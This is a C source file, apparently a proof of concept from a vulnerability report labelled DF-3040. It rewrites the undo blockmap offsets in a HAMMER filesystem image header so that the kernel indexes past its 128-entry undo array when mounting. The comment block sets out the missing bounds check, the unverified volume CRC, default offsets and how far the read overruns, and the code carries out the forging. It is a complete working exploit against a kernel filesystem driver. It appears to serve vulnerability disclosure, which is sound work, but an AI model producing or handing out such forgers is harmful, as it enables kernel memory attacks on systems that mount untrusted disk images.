DF-3040 / undo_craft.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 | /* * undo_craft.c - DF-3040 PoC image forger. * * Root cause: HAMMER_UNDO_INDEX(zone3) = short(zone3) / HAMMER_BIGBLOCK_SIZE * (hammer_disk.h:824-829) is used to index vol0_undo_array[128] * (hammer_disk.h:789) with NO bound check against HAMMER_MAX_UNDO_BIGBLOCKS * (128) anywhere in the kernel. The only "validation" of undo zone offsets * on the mount path is hammer_recover_stage1's * first_offset > alloc_offset || next_offset > alloc_offset -> EIO * (hammer_recover.c:232) and hammer_undo_lookup's INVARIANTS-only * KKASSERT(zone3_off < undomap->alloc_offset) * (hammer_undo.c:70) - and alloc_offset itself comes from the same * attacker-crafted rootvol vol0_blockmap[3], so a crafted header makes the * kernel translate zone3 offsets far past the 128-entry array. * * This tool patches the root volume header (LBA 0, bread at * hammer_ondisk.c:180 reads the first HAMMER_BUFSIZE=16K) of an existing * newfs_hammer image: * * vol0_blockmap[HAMMER_ZONE_UNDO_INDEX].first_offset = UNDO|<ARG> * .next_offset = UNDO|<ARG+16> * .alloc_offset = UNDO|<ARG+0x100000000> * * <ARG> defaults to 0x400000000 (2^34; idx = 2^34/8MB = 2048 -> * read at bp+17288, 904 bytes past the 16KB bp). Any larger 16K-aligned * value reaches further, e.g. 0x4000000000 (idx=32768 -> ~247KB past). * * No CRC fixup is needed: the kernel never verifies vol_crc * (hammer_crc_test_volume has zero callers - see DF-3042). * * Build (guest): cc -O -o undo_craft undo_craft.c -I/usr/src/sys/vfs/hammer * Usage: undo_craft <img> */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <inttypes.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/param.h> #include <stddef.h> #include <hammer_disk.h> #define OOF(x) offsetof(struct hammer_volume_ondisk, x) static void dump_map(const char *tag, struct hammer_blockmap *bm) { printf("%s: phys=%016jx first=%016jx next=%016jx alloc=%016jx\n", tag, (uintmax_t)bm->phys_offset, (uintmax_t)bm->first_offset, (uintmax_t)bm->next_offset, (uintmax_t)bm->alloc_offset); } int main(int ac, char **av) { struct hammer_volume_ondisk hdr; struct hammer_blockmap *undo; hammer_off_t first, next, alloc; int fd; off_t mapoff = OOF(vol0_blockmap) + HAMMER_ZONE_UNDO_INDEX * sizeof(struct hammer_blockmap); off_t arroff = OOF(vol0_undo_array); if (ac != 2 && ac != 3) { fprintf(stderr, "usage: undo_craft <img> [short_off]\n"); return (2); } printf("sizeof(volume_ondisk)=%zu vol0_blockmap@%llu undo_array@%llu " "(%d entries of %zu)\n", sizeof(hdr), (unsigned long long)OOF(vol0_blockmap), (unsigned long long)arroff, HAMMER_MAX_UNDO_BIGBLOCKS, sizeof(hammer_off_t)); fd = open(av[1], O_RDWR); if (fd < 0) { perror("open"); return (1); } if (pread(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) { perror("pread"); return (1); } if (hdr.vol_signature != HAMMER_FSBUF_VOLUME) { fprintf(stderr, "not a hammer volume (sig %016jx)\n", (uintmax_t)hdr.vol_signature); return (1); } undo = (struct hammer_blockmap *)((char *)&hdr + mapoff); dump_map("undo BEFORE", undo); if (ac == 3) first = HAMMER_ZONE_UNDO | strtoull(av[2], NULL, 0); else first = HAMMER_ZONE_UNDO | 0x400000000ULL; /* idx 2048 */ next = (first & ~HAMMER_BUFMASK64) + 0x10; /* 16 bytes later */ alloc = first + 0x100000000ULL; /* >= both */ undo->first_offset = first; undo->next_offset = next; undo->alloc_offset = alloc; if (pwrite(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) { perror("pwrite"); return (1); } dump_map("undo AFTER ", undo); printf("crafted: idx(first)=%ju -> read at bp+%llu (~%lldKB past " "the 16KB bp)\n", (uintmax_t)((first & HAMMER_OFF_SHORT_MASK) / HAMMER_BIGBLOCK_SIZE), (unsigned long long)(arroff + (((first & HAMMER_OFF_SHORT_MASK) / HAMMER_BIGBLOCK_SIZE)) * 8), (long long)((arroff + ((first & HAMMER_OFF_SHORT_MASK) / HAMMER_BIGBLOCK_SIZE) * 8 - 16384) / 1024)); close(fd); return (0); } |